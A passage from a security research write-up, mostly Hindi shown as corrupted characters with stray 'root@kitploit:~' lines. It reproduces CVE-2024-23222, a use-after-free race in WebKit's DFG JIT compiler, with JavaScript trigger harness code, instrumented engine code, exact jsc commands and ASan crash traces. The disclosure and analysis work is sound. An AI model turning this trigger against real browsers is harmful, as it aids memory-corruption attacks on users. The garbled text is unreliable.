    `state.val` рд▓рдХреНрд╖реНрдп рд╕реЗрд▓ рдХреЛ рд░рдЦрддрд╛ рд╣реИред `Object.seal()` рд╕рдВрд░рдЪрдирд╛ рдХреЛ рд╕реНрдерд┐рд░ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ DFG `state` рдХреЛ рдПрдХ рдЬреНрдЮрд╛рдд рд╕реНрдерд┐рд░рд╛рдВрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рди рд╕рдХреЗред
    
    **рдкреНрд░реЛрдм рдлрд╝рдВрдХреНрд╢рдиред** рдПрдХ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЙрддреНрдкрдиреНрди рдлрд╝рдВрдХреНрд╢рди `state.val` рдХреЛ рдкрдврд╝рддрд╛ рд╣реИред рдЬрдм DFG рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдкреНрд░реЙрдкрд░реНрдЯреА рдПрдХреНрд╕реЗрд╕ рдХреЛ constant-fold рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, `tryGetConstantProperty()` рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддреЗ рд╣реБрдП:```javascript
    let probe = new Function(
        'state',
        'const v0 = state.val; return (v0 ? 1 : 0);'
    ).bind(null, state);
    

**рд╕рдВрдХрд▓рди рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛ред** рдмреЗрд╕рд▓рд╛рдЗрди рд╡рд╛рд░реНрдордЕрдк (2,000 рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐рдпреЛрдВ) рдХреЗ рдмрд╛рдж, `optimizeNextInvocation(probe)` рдлрд╝рдВрдХреНрд╢рди рдХреЛ DFG рд╕рдВрдХрд▓рди рдХреЗ рд▓рд┐рдП рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд▓рд╛ рдХреЙрд▓ рдкреГрд╖реНрдарднреВрдорд┐ рд╕рдВрдХрд▓рди рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ:```javascript for (let i = 0; i < 2000; i++) probe(); // baseline warmup optimizeNextInvocation(probe); probe(); // triggers DFG compilation

root@kitploit:~
    
    
    **рд░рд┐рд▓реАрдЬрд╝ рдФрд░ рдПрдХрддреНрд░ рдХрд░реЗрдВред** рдПрдХ рдмрд╛рд░ DFG рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рд╕реЗрд▓ рдХреЛ рдкрдврд╝ рд▓реЗрддрд╛ рд╣реИ (рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрдб рдмрд┐рд▓реНрдб рдпрд╣рд╛рдБ рд╕реЛрддрд╛ рд╣реИ
    рдпрд╣рд╛рдБ), рдореБрдЦреНрдп рдереНрд░реЗрдб рд░реЗрдлрд░реЗрдВрд╕ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ рдФрд░ GC рдЪрд▓рд╛рддрд╛ рд╣реИред рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╣рд╛рд░реНрдиреЗрд╕ рд▓реЙрдЬрд┐рдХ рдкреИрд░рд╛рдореАрдЯрд░реАрдХреГрдд рд╣реИ, рд▓реЗрдХрд┐рди
    рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХрд╛рд░реНрдпрд╢реАрд▓ рд░реВрдк рд╣реИ:```javascript
    state.val = 0;    // remove the JS reference to the target cell
    probe = null;     // drop the probe closure
    
    burnInterpreterRegisters(SCRUB_ROUNDS);
    
    Promise.resolve().then(() => {
        burnInterpreterRegisters(SCRUB_ROUNDS);
        runGcSequence();      // repeated GC passes plus allocation pressure
    });
    drainMicrotasks();
    

рд╡рд░реНрддрдорд╛рди рд╣рд╛рд░реНрдиреЗрд╕ рдореЗрдВ, `runGcSequence()` рд╣реИ:```javascript function runGcSequence() { for (let pass = 0; pass < GC_PASSES; pass++) { gcNow(); if (USE_PRESSURE) allocatePressure(); } }

root@kitploit:~
    
    
    `burnInterpreterRegisters()` рдПрдХ рдкреБрдирд░рд╛рд╡рд░реНрддреА рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдореБрдЦреНрдп рдереНрд░реЗрдб рдХреЗ рд╕реНрдЯреИрдХ рдкрд░ рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реНрд▓реЙрдЯ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рдирд╛ рдХрдо рд╣реЛ рдЬрд╛рддреА рд╣реИ рдХрд┐ рдХрдВрдЬрд╝рд░реНрд╡реЗрдЯрд┐рд╡ рд╕реНрдЯреИрдХ рд╕реНрдХреИрдирд┐рдВрдЧ рдХреЛ рд▓рдХреНрд╖реНрдп рд╕реЗрд▓ рдХрд╛ рдПрдХ рдкреБрд░рд╛рдирд╛ рдкреЙрдЗрдВрдЯрд░ рдорд┐рд▓реЗред
    
    ### 5.2 рдЗрдВрдЬрди рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди
    
    рдЕрдиреБрд╕рдВрдзрд╛рди рдмрд┐рд▓реНрдб `DFGGraph.cpp` рдореЗрдВ `tryGetConstantProperty()` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рд╕реЗрд▓ рд▓реЙрдХ рд░рд┐рд▓реАрдЬрд╝ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдФрд░ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓реМрдЯрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди:
    
    1. рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ рдПрдХ рд╕рд┐рдЧреНрдирд▓ рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦрддрд╛ рд╣реИ (JS-рдкрдХреНрд╖ рд╕рд┐рдВрдХреНрд░реЛрдирд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рд▓рд┐рдП; рд╕рд░реНрд╡реЛрддреНрддрдо рд╡рд░реНрддрдорд╛рди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛)ред
    2. рдПрдХ рд░реЙ DFG `Safepoint` рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдХрд╛ `m_rightToRun` рд▓реЙрдХ рд░рд┐рд▓реАрдЬрд╝ рдХрд░рддрд╛ рд╣реИред рдпрд╣ GC рдХреЛ рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд┐рдП рдмрд┐рдирд╛ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
    3. рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЕрд╡рдзрд┐ рдХреЗ рд▓рд┐рдП рд╕реЛрддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: 500ms)ред
    4. рдЬрд╛рдЧрдиреЗ рдкрд░, `m_rightToRun` рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд╕рдВрдХрд▓рди рдпреЛрдЬрдирд╛ рд░рджреНрдж рдХрд░ рджреА рдЧрдИ рдереАред```cpp
    // DFGGraph.cpp тАФ research instrumentation in tryGetConstantProperty()
    if (result.isCell()) {
        Safepoint::Result safepointResult;
        {
            // Raw Safepoint тАФ does NOT register Graph as a Scannable.
            // GC will not visit the Graph's frozen values during this window.
            Safepoint safepoint(m_plan, safepointResult);
            safepoint.begin();          // releases m_rightToRun
            usleep(tgcpSleepUsec());    // default: 500,000 ┬╡s
        }                               // destructor re-acquires m_rightToRun
    
        if (safepointResult.didGetCancelled())
            return JSValue();           // plan was cancelled during sleep
    }
    return result;  // caller calls freeze(result)
    

The safepoint is entered _without_ adding the `Graph` as a `Scannable`. In production, `GraphSafepoint` adds the `Graph`, which causes GC to visit all frozen values and their structures. The raw `Safepoint` skips this, so the cell (which has not yet been frozen) is invisible to GC during the sleep window.

### 5.3 рдкреБрдирд░реБрддреНрдкрд╛рджрди

**рдмрд┐рд▓реНрдб рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБред** WebKit Safari 7617.1.17.13 (рдкреИрдЪ рд╕реЗ рдкрд╣рд▓реЗ), AddressSanitizer рдХреЗ рд╕рд╛рде рдбреАрдмрдЧ рдмрд┐рд▓реНрдбред рдпрд╣ рдмрд┐рд▓реНрдб ┬з5.2 рдореЗрдВ рд╡рд░реНрдгрд┐рдд рдЗрдВрд╕реНрдЯреНрд░реБрдореЗрдВрдЯреЗрд╢рди рдХреЛ `DFGGraph.cpp` рдкрд░ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред

**рдХрдорд╛рдВрдб:** ```bash ASAN_OPTIONS='detect_stack_use_after_return=1:abort_on_error=1:quarantine_size_mb=256:detect_leaks=0'   
JSC_TGCP_SIGNAL_PATH=''   
JSC_TGCP_SLEEP_USEC=500000   
/path/to/WebKitBuild/Debug/bin/jsc   
\--useConcurrentJIT=true   
\--thresholdForOptimizeAfterWarmUp=20   
\--thresholdForJITAfterWarmUp=5   
\--thresholdForFTLOptimizeAfterWarmUp=1000000   
-e 'CLEAN_RACE_USE_SIGNAL=false; CLEAN_RACE_RELEASE_DELAY_SPINS=0;'   
toctou_clean_asan_v2.js

root@kitploit:~
    
    
    **рдлрд╝реНрд▓реИрдЧ рд╕рдордЭрд╛рдП рдЧрдП:**
    
    | рдлрд╝реНрд▓реИрдЧ | рдЙрджреНрджреЗрд╢реНрдп |
    |------|---------|
    | `--useConcurrentJIT=true` | рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб DFG рд╕рдВрдХрд▓рди рд╕рдХреНрд╖рдо рдХрд░реЗрдВ (рд░реЗрд╕ рдХреЗ рд▓рд┐рдП рджреЛ рдереНрд░реЗрдб рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ) |
    | `--thresholdForOptimizeAfterWarmUp=20` | DFG рдЯрд┐рдпрд░-рдЕрдк рдереНрд░реЗрд╕рд╣реЛрд▓реНрдб рдХрдо рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рдВрдХрд▓рди рдиреНрдпреВрдирддрдо рд╡рд╛рд░реНрдордЕрдк рдХреЗ рдмрд╛рдж рд╢реБрд░реВ рд╣реЛ |
    | `--thresholdForJITAfterWarmUp=5` | рдмреЗрд╕рд▓рд╛рдЗрди JIT рдереНрд░реЗрд╕рд╣реЛрд▓реНрдб рдХрдо рдХрд░реЗрдВ |
    | `--thresholdForFTLOptimizeAfterWarmUp=1000000` | FTL рдХреЛ DFG рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рд╕реНрдкрд░реНрдзрд╛ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХреЗрдВ; рд╕рдВрдХрд▓рди рдХреЛ DFG рдЯрд┐рдпрд░ рдореЗрдВ рд░рдЦреЗрдВ |
    | `JSC_TGCP_SLEEP_USEC=500000` | рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрдб рдмрд┐рд▓реНрдб рдореЗрдВ 500ms рд░реЗрд╕ рд╡рд┐рдВрдбреЛ |
    | `JSC_TGCP_SIGNAL_PATH=''` | рд╕рд┐рдЧреНрдирд▓ рдлрд╝рд╛рдЗрд▓ рдЕрдХреНрд╖рдо рдХрд░реЗрдВ (рдХреЗрд╡рд▓ рдЯрд╛рдЗрдорд┐рдВрдЧ-рдЖрдзрд╛рд░рд┐рдд рд╕рд┐рдВрдХреНрд░реЛрдирд╛рдЗрдЬрд╝реЗрд╢рди) |
    | `ASAN_OPTIONS=...quarantine_size_mb=256` | рдмрдбрд╝рд╛ рдХреНрд╡рд╛рд░рдВрдЯреАрди рдореБрдХреНрдд рдХреА рдЧрдИ рдореЗрдореЛрд░реА рдХреЛ рддреБрд░рдВрдд рдкреБрдирдГ рдЙрдкрдпреЛрдЧ рд╣реЛрдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ |
    
    рдЯрд┐рдпрд░рд┐рдВрдЧ рдлрд╝реНрд▓реИрдЧ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВред рдЗрдирдХреЗ рдмрд┐рдирд╛, JIT рд╢реЗрдбреНрдпреВрд▓ рдЗрддрдирд╛ рдмрджрд▓ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╕рдВрдХрд▓рди рдФрд░ рдореБрдЦреНрдп-рдереНрд░реЗрдб рд░рд┐рд▓реАрдЬрд╝ рд╕рдВрд░реЗрдЦрдг рд╕реЗ рдмрд╛рд╣рд░ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред
    
    ---
    
    ## 6. рдХреНрд░реИрд╢ рд╡рд┐рд╢реНрд▓реЗрд╖рдг
    
    ### 6.1 GC рдорд╛рд░реНрдХрд┐рдВрдЧ рдХреНрд░реИрд╢
    
    рдкреНрд░рд╛рдердорд┐рдХ reproducible рдХреНрд░реИрд╢ рдХрдЪрд░рд╛ рд╕рдВрдЧреНрд░рд╣рдг рдХреЗ рджреМрд░рд╛рди рд╣реЛрддрд╛ рд╣реИ, рдЬрдм GC рдХрд╛ `SlotVisitor` рдПрдХ stale рд╕реЗрд▓ рдХреЛ рдорд╛рд░реНрдХ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдПрдХ рдкреНрд░рддрд┐рдирд┐рдзрд┐ рдкреВрд░реНрдг рд░рди рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦрддрд╛ рд╣реИ:```text
    WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
    [clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
    [tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
    [tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
    [clean-race] attempt 1: startCompilation() -> 1
    [clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
    [tgcp] BAIL base=null offset=0 (base null or not object)
    [tgcp] BAIL base=null offset=0 (base null or not object)
    [tgcp] BAIL base=null offset=0 (base null or not object)
    [tgcp] BAIL base=null offset=0 (base null or not object)
    [tgcp] WAKE: safepoint done, cell was 0x62d00011c130
    [tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
    ==28622==The signal is caused by a READ memory access.
        #0  WTF::Dependency::loadAndFence<unsigned int>()
        #1  JSC::MarkedBlock::aboutToMark(unsigned int)
        #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
        #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
        #4  JSC::SlotVisitor::appendHidden(...)
        #5  JSC::SlotVisitor::appendValuesHidden(...)
        #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
        #7  JSC::JSFinalObject::visitChildren(...)
        #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
        #9  JSC::SlotVisitor::drain(...)
        #10 JSC::SlotVisitor::drainFromShared(...)
        #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
        #12 WTF::SharedTaskFunctor<...>::run()
        #13 WTF::ParallelHelperClient::runTask(...)
        #14 WTF::ParallelHelperPool::Thread::work()
    

рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЕрд╡рд▓реЛрдХрди рдпрд╣ рд╣реИ рдХрд┐ рдХреНрд░реИрд╢ рд▓реЙрдЧ рдореЗрдВ рдкреВрд░рд╛ рдЕрдиреБрдХреНрд░рдо рдореМрдЬреВрдж рд╣реИ:

  1. `tryGetConstantProperty()` рдПрдХ cell-рдорд╛рди рд╡рд╛рд▓реЗ рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдлреЛрд▓реНрдб рдХрд░рддрд╛ рд╣реИ (`[tgcp] HIT ... val=cell`)ред
  2. рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдЪреМрдбрд╝реА рд╣реБрдИ рд░реЗрд╕ рд╡рд┐рдВрдбреЛ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИ (`RACE: entering safepoint + sleeping 500000us`)ред
  3. JS рд╣рд╛рд░реНрдиреЗрд╕ рддреБрд░рдВрдд рд░реЗрдлрд░реЗрдВрд╕ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ рдФрд░ рдХрд▓реЗрдХреНрд╢рди рдЪрд▓рд╛рддрд╛ рд╣реИред
  4. рдЬрд╛рдЧрдиреЗ рдкрд░, ASan рдЕрднреА рднреА cell рдПрдбреНрд░реЗрд╕ рдХреЛ "accessible" рдорд╛рдирддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдпрд╣ рдХреЛрдИ рд╕рд╛рдзрд╛рд░рдг redzone рдпрд╛ manual-poison рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯ рдирд╣реАрдВ рд╣реИред
  5. рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдлрд┐рд░ рд╕рд╛рдорд╛рдиреНрдп GC рдорд╛рд░реНрдХрд┐рдВрдЧ рдХреЛрдб рдореЗрдВ рдорд░ рдЬрд╛рддреА рд╣реИред



рдорд╛рд░реНрдХрд┐рдВрдЧ-рд╕рд╛рдЗрдб рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛рдо рдХрд░рддреА рд╣реИред GC рдкрд╣реБрдВрдЪ рдпреЛрдЧреНрдп рдСрдмреНрдЬреЗрдХреНрдЯ рдЧреНрд░рд╛рдлрд╝ рдореЗрдВ рдПрдХ `JSFinalObject` рдкрд░ `JSFinalObject::visitChildrenImpl` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред рд╡рд╣ рдлрд╝рдВрдХреНрд╢рди рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдЫрд┐рдкреЗ рд╣реБрдП рд╡реИрд▓реНрдпреВ рд╕реНрдЯреЛрд░реЗрдЬ рдХреЛ рдЗрдЯрд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ:```cpp // Source/JavaScriptCore/runtime/JSObject.cpp:476 visitor.appendValuesHidden( thisObject->inlineStorage(), storageSize);

root@kitploit:~
    
    
    рдЙрд╕ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рдореЗрдВ рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░, `appendHiddenUnbarriered` рдХреЛ рдПрдХ рд╕реНрдЯреЗрд▓ cell-рд╡реИрд▓реНрдпреВ `JSValue` рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рд╡рд╣ рдЗрд╕реЗ рдПрдХ live cell рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирддрд╛ рд╣реИ:```cpp
    // Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
    MarkedBlock& block = cell->markedBlock();
    dependency = block.aboutToMark(m_markingVersion);
    

`markedBlock()` рд╕реЗрд▓ рдкреЙрдЗрдВрдЯрд░ рд╕реЗ `MarkedBlock` рдкрддреЗ рдХреА рдЧрдгрдирд╛ рдХрд░рддрд╛ рд╣реИред рдЪреВрдБрдХрд┐ рд╕реЗрд▓ рдореБрдХреНрдд рд╣реЛ рдЪреБрдХрд╛ рд╣реИ, рдЗрд╕рд╕реЗ рдПрдХ рдЧрд╛рд░реНрдмреЗрдЬ рдкрддрд╛ рдорд┐рд▓рддрд╛ рд╣реИред `aboutToMark` рдлрд┐рд░ рдмреНрд▓реЙрдХ рдХрд╛ рдорд╛рд░реНрдХрд┐рдВрдЧ рд╕рдВрд╕реНрдХрд░рдг рдкрдврд╝рддрд╛ рд╣реИ:```cpp // Source/JavaScriptCore/heap/MarkedBlock.h:586-592 inline Dependency MarkedBlock::aboutToMark(HeapVersion markingVersion) { HeapVersion version; Dependency dependency = Dependency::loadAndFence(&header().m_markingVersion, version); // ... }

root@kitploit:~
    
    
    `loadAndFence` рдХрдЪрд░реЗ `MarkedBlock` рдкрддреЗ (`0x180000008020`) рд╕реЗ рдкрдврд╝рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SEGV рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред
    
    ### 6.2 `freeze()` рдХреНрд░реИрд╢ рдкреНрд░рдХрд╛рд░
    
    рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╕рдордп рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд, рд╡рд╣реА TOCTOU DFG рдХрдВрдкрд╛рдЗрд▓рд░ рд╡рд░реНрдХрд░ рдереНрд░реЗрдб рдкрд░ рд╕реАрдзреЗ `freeze()` рдкрде рдореЗрдВ рднреА рдХреНрд░реИрд╢ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ:```
        #0  ClassInfo::isSubClassOf()
        #1  JSCell::inherits()
        #2  jsDynamicCast<CodeBlock, JSCell>()
        #3  Graph::freeze(JSValue)
        #4  ByteCodeParser::weakJSConstant()
        #5  ByteCodeParser::load<GetByVariant>()
    

рдпрд╣ `RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value))` рд▓рд╛рдЗрди `Graph::freeze()` рдореЗрдВ рд╣реИред `jsDynamicCast` `value.asCell()->inherits<CodeBlock>()` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕реЗрд▓ рдХрд╛ `ClassInfo` рдкреЙрдЗрдВрдЯрд░ рдкрдврд╝рддрд╛ рд╣реИред рдпрджрд┐ рд╕реЗрд▓ рдореБрдХреНрдд рдХрд░ рджреА рдЧрдИ рд╣реИ, рддреЛ `ClassInfo` рдХрдЪрд░рд╛ рд╣реИ рдФрд░ `isSubClassOf()` рдлреЙрд▓реНрдЯ рдХрд░рддрд╛ рд╣реИред

рдпрд╣ рд╡реЗрд░рд┐рдПрдВрдЯ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдкрд░ рд╣реА рдХреНрд░реИрд╢ рдХрд░рддрд╛ рд╣реИ тАФ рд╡рд╣реА рдереНрд░реЗрдб рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рд╕реНрдЯреЗрд▓ рдкреЙрдЗрдВрдЯрд░ рд╣реЛрддрд╛ рд╣реИ тАФ рди рдХрд┐ рдмрд╛рдж рдореЗрдВ рдореБрдЦреНрдп рдереНрд░реЗрдб рдкрд░ GC рдЪрдХреНрд░ рдХреЗ рджреМрд░рд╛рдиред рджреЛрдиреЛрдВ рд╡реЗрд░рд┐рдПрдВрдЯ рдПрдХ рд╣реА рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд TOCTOU рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВ: рдПрдХ рд╕реЗрд▓ рдкреЙрдЗрдВрдЯрд░ `tryGetConstantProperty()` рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╕реЗрд▓ рдХреЗ рдореБрдХреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдбреАрд░реЗрдлрд╝рд░реЗрдВрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

### 6.3 рдбрд╛рдпрдЧреНрдиреЛрд╕реНрдЯрд┐рдХ рдЖрдЙрдЯрдкреБрдЯ

рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд░рди рдХреНрд░реИрд╢ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╣ рдЕрдиреБрдХреНрд░рдо рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ:``` [tgcp] HIT obj=0x62d000110140 ... offset=0 val=cell [tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 ... [clean-race] attempt 1: startCompilation() -> 1 [clean-race] attempt 1: proceeding without signal ... [tgcp] WAKE: safepoint done, cell was 0x62d00011c130 [tgcp] ASAN: cell 0x62d00011c130 is accessible after wake AddressSanitizer:DEADLYSIGNAL

root@kitploit:~
    
    
    `[tgcp] HIT` рдкрдВрдХреНрддрд┐ рдкреБрд╖реНрдЯрд┐ рдХрд░рддреА рд╣реИ рдХрд┐ `tryGetConstantProperty()` рдиреЗ рд▓рдХреНрд╖рд┐рдд рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рд╕реЗрд▓ рдорд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдХреЙрдиреНрд╕реНрдЯреЗрдВрдЯ-рдлреЛрд▓реНрдб рдХрд┐рдпрд╛ред `RACE` рдкрдВрдХреНрддрд┐ рджрд┐рдЦрд╛рддреА рд╣реИ рдХрд┐ рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдЪреМрдбрд╝реА рдХреА рдЧрдИ рд╡рд┐рдВрдбреЛ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░ рд░рд╣рд╛ рд╣реИред `WAKE` рдкрдВрдХреНрддрд┐ рджрд┐рдЦрд╛рддреА рд╣реИ рдХрд┐ рд╡рд╣ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рд╣реЛ рд░рд╣рд╛ рд╣реИред ASan рдбрд╛рдпрдЧреНрдиреЛрд╕реНрдЯрд┐рдХ рд╕реЗрд▓ рдХреЛ "accessible" (рд╕реБрд▓рдн) рдХреЗ рд░реВрдк рдореЗрдВ рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ тАФ ASan рдХреЛ рдХреЛрдИ рд╕рд╛рдзрд╛рд░рдг redzone рдЙрд▓реНрд▓рдВрдШрди рдирд╣реАрдВ рджрд┐рдЦрддрд╛ тАФ рд▓реЗрдХрд┐рди рд╕реЗрд▓ рдХреЗ рдЖрдВрддрд░рд┐рдХ рдкреЙрдЗрдВрдЯрд░ (structure ID, `MarkedBlock` рдмреИрдХ-рдкреЙрдЗрдВрдЯрд░) рд╕реНрдЯреЗрд▓ (рдЕрдкреНрд░рдЪрд▓рд┐рдд) рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ JSC рдХрд╛ рдЕрдкрдирд╛ рдХреЛрдб рдЙрдиреНрд╣реЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдкрд░ рдХреНрд░реИрд╢ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
    
    ---
    
    ## 7. рд░рд┐рд╕рд░реНрдЪ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди
    
    ### 7.1 рдХреНрдпрд╛ рдХреГрддреНрд░рд┐рдо рд╣реИ
    
    рд░рд┐рд╕рд░реНрдЪ рдмрд┐рд▓реНрдб `tryGetConstantProperty()` рдХреЛ рддреАрди рддрд░реАрдХреЛрдВ рд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ:
    
